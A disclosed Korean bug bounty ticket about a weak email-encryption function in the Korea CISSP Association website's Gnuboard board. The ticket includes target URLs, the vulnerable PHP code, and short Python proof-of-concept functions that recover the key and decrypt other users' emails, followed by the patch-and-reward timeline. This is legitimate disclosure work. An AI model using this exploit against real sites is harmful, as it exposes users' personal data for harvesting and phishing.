1 day 취약점으로 인해 허가되지 않은 사용자에게 개인 정보 유출

작성자 s3un9s00n 프로그램 한국CISSP협회 대표홈페이지

WEB 종료됨 낮음 30,000 작성일: 2022년 9월 5일 (2년 전) 마지막 업데이트일: 2022년 11월 23일 (일 년 전)

취약점 유형

정보 유출 - 패치되지 않은 취약점

상세내용

개요

https://isc2chapter.kr/bbs/new.php 에서 사용자의 아이디 검색을 통해 메일 보내기를 했을 때 email 파라미터의 암호화가 안전하지 않아 사용자의 email이 유출된다.

재현 과정

Description

  1. 비 로그인 상태에서 https://isc2chapter.kr/bbs/new.php?gr_id=&view=&mb_id=0 접속하면 아이디 검색을 통해 유저의 글을 확인 할 수 있다.

Description

  1. 메일 보내기를 누를 시 https://isc2chapter.kr/bbs/formmail.php?mb_id=aassdd&name=aassdd&email=lZGrqMjJccbDq9edymGUltfZnJg= (test 계정)의 email이 암호화되어 나오는데 취약한 암호화 함수가 사용되고 있어서 내 메일과 암호화된 값을 통해 Key를 알아 낼 수 있다. 알아낸 키로 다른 사용자의 암호화된 메일을 복호화 할 수 있다.

  2. 로그인도 하지 않은 허가되지 않은 사용자가 다른 사용자의 개인 메일을 수집할 수 있게 된다.

예상되는 취약점 발생 원인

email을 암호화화 하는 함수가 보안에 취약한 로직을 사용해서 발생한다.
또한 cve가 발표됐음에도 패치를 하지 않기 때문에 취약점이 발생한다.

패치 방법

비로그인 사용자는 https://isc2chapter.kr/bbs/formmail.php 과 같은 페이지에 접근했을 때 403를 반환해주게한다.
타 암호화 로직을 적용한다.
또는 사용하지 않는 기능처럼 보이기 때문에 프론트 엔드로 넘어오는 메일들을 주석처리한다.

예상 결과 및 파급력

사용자의 메일 정보를 모두 수집할 수 있으니 개인 정보 유출 문제와,
해당 사이트 이용자들에게 관련된 악성 이메일을 보내 2차 피해를 유발할 수 있다.

기타사항 및 레퍼런스

https://www.cvedetails.com/cve/CVE-2022-1252/
https://0g.vc/posts/insecure-cipher-gnuboard5/ 관련 POC
Description
시연 이미지

첨부파일

타임라인

s3un9s00n 님이 티켓을 제출했습니다. 2022년 9월 5일 (2년 전)
Steve BUGCAMP STAFF 님이 상태를 '제출됨'에서 '추가확인필요'으로 변경했습니다. 2022년 9월 5일 (2년 전)
Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 9월 5일 (2년 전)

버그캠프 “한국CISSP협회 대표홈페이지” 프로그램에 참여해주셔서 감사드립니다.
해당 프로그램은 취약점 개념 증명 코드를 제보시 포함해달라고 명시되어있습니다.

보상에서 제외하는 경우

  • 취약점 개념 증명 코드를 포함하지 않은 경우

티켓 내용 또는 코멘트에 개념 증명 코드를 추가해주실 수 있나요??

s3un9s00n 님이 댓글을 남겼습니다. 2022년 9월 5일 (2년 전)

취약한 부분이 발생하는 함수는 다음과 같습니다.
이메일을 암호화하여 프론트 엔드에 보낼때 다음과 같은 로직 처리가 됩니다.
char에는 메일이 한글자씩 들어가고 keychar은 salt 특정 부분값이 들어갑니다
후에 char과 keychar 값을 더한 값으로 암호문을 만듭니다.
return 직전에 base64 인코딩을 해주고 +/= 문자를 각각 ._- 로 치환해줍니다.

 function encrypt($str)
    {
        $length = strlen($str);
        $result = '';

        for($i=0; $i<$length; $i++) {
            $char    = substr($str, $i, 1);
            $keychar = substr($this->salt, ($i % $this->length) - 1, 1);
            $char    = chr(ord($char) + ord($keychar));
            $result .= $char;
        }

        return strtr(base64_encode($result) , '+/=', '._-');
    }

따라서 PoC 코드는 다음과 같습니다.
본인의 평문 메일과 암호화된 메일을 역연산해주면 keychar을 얻을 수 있습니다.

#PoC_1 get key 
def get_key(encoded,decoded):
    bytes_encoded = base64.b64decode(encoded.replace('.', '+').replace('_', '/').replace('-', '='))
    bytes_decoded = bytearray(decoded,"utf-8")
    i = 0
    output = ""
    for b in bytes_encoded:
        output += chr(b-bytes_decoded[i])
        i += 1
    return output

이후 얻은 키로 다른 사용자의 암호화된 이메일을 복호화 합니다

#PoC_2 decoding encrypted email
def decode_email(encoded):
    encoded = encoded.replace('.', '+').replace('_', '/').replace('-', '=')
    encoded_bytes = base64.b64decode(encoded)
    output = ""
    i = 0
    for b in encoded_bytes:
        output += chr(b - ord(key[i]))
        i += 1
        if i == len(key):
            i = 0
    return output
s3un9s00n 님이 댓글을 남겼습니다. 2022년 9월 6일 (2년 전)

티켓 수정은 안되는거죠?

Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 9월 6일 (2년 전)

전달해 주신 정보를 통해 취약점 발생 여부를 확인 중 입니다.
확인 완료 후 티켓을 처리하도록 하겠습니다.

s3un9s00n 님이 댓글을 남겼습니다. 2022년 9월 17일 (2년 전)

안녕하세요 추가적인 업데이트가 없나요?

Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 9월 19일 (2년 전)

제보해주신 취약점이 확인되었습니다. 패치 절차가 진행될 예정이며, 패치는 담당자의 일정에 따라 지연될 수 있습니다.

Steve BUGCAMP STAFF 님이 상태를 '추가확인필요'에서 '처리중'으로 변경했습니다. 2022년 9월 19일 (2년 전)
Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 10월 20일 (2년 전)

제보해주신 취약점이 패치되었습니다.
올바르게 패치가 진행되었는지 확인 부탁드립니다.

s3un9s00n 님이 댓글을 남겼습니다. 2022년 10월 20일 (2년 전)

https://isc2chapter.kr/bbs/new.php에서 메일 보내기 및 메일의 암호화된 값을 프론트엔드에 뿌려주는 부분을 패치하신것 같아 보입니다.
https://isc2chapter.kr/bbs/new.php 에서는 해당 내용이 패치됐으나,
https://isc2chapter.kr/bbs/new.php?gr_id=&view=&mb_id=0&page=3 또는 https://isc2chapter.kr/bbs/new.php?gr_id=&view=&mb_id=aaawww 등 인자를 넘겨주고 받는 response에는 메일 보내기 및 암호화된 값이 프론트엔드에 노출되며 마찬가지로 복호화 또한 가능합니다. 확인부탁드립니다.

Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 10월 24일 (2년 전)

전달주신 URL에서는 메일 주소가 확인되지 않습니다.
혹시 로그인을 진행한 상황에서 응답 값을 확인한 건가요??

s3un9s00n 님이 댓글을 남겼습니다. 2022년 10월 24일 (2년 전)

로그인을 진행한 상황에서 확인하였습니다.
Description

s3un9s00n 님이 댓글을 남겼습니다. 2022년 10월 27일 (일 년 전)

해당 내용 확인 되셨나요?

Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 10월 28일 (일 년 전)

네 해당 내용 확인하여 패치 진행중입니다.

Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 10월 28일 (일 년 전)

추가 패치가 완료되어 확인 부탁드립니다.

s3un9s00n 님이 댓글을 남겼습니다. 2022년 10월 28일 (일 년 전)

확인해본 결과 여전히 메일보내기 및 암호화된 email 값이 프론트엔드에 노출됩니다.
Description

Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 10월 28일 (일 년 전)

혹시 엘범게시판에 본인이 등록한 글인가요??
제 화면에서는 정상 패치된 것으로 보입니다.

s3un9s00n 님이 댓글을 남겼습니다. 2022년 10월 28일 (일 년 전)

아 본인이 등록한 글이었습니다.
정상 패치 된것으로 보입니다.

Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 10월 28일 (일 년 전)

네 감사합니다.
정상패치 확인되어 리워드 프로세스가 진행될 예정입니다.

Steve BUGCAMP STAFF 님이 위험도를 '중간'에서 '낮음'으로 변경했습니다. 2022년 10월 31일 (일 년 전)
Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 10월 31일 (일 년 전)

해당 취약점의 파급력을 고려하여 위험도가 변경되었습니다.

Steve BUGCAMP STAFF 님이 보상 30,000 크레딧을 지급했습니다. 2022년 10월 31일 (일 년 전)
Steve BUGCAMP STAFF 님이 댓글을 남겼습니다. 2022년 11월 1일 (일 년 전)

보상 프로세스가 완료되어 티켓이 종료되 예정입니다.
한국CISSP협회 대표홈페이지 프로그램에 제보해주셔서 감사합니다.

Steve BUGCAMP STAFF 님이 상태를 '처리중'에서 '종료됨'으로 변경했습니다. 2022년 11월 7일 (일 년 전)
Steve BUGCAMP STAFF 님이 공개상태를 '비공개'에서 '전체공개'로 변경했습니다. 2022년 11월 7일 (일 년 전)
s3un9s00n 님이 댓글을 남겼습니다. 2022년 11월 23일 (일 년 전)

패치 우회를 발견하면 추가 보고서를 작성해야하나요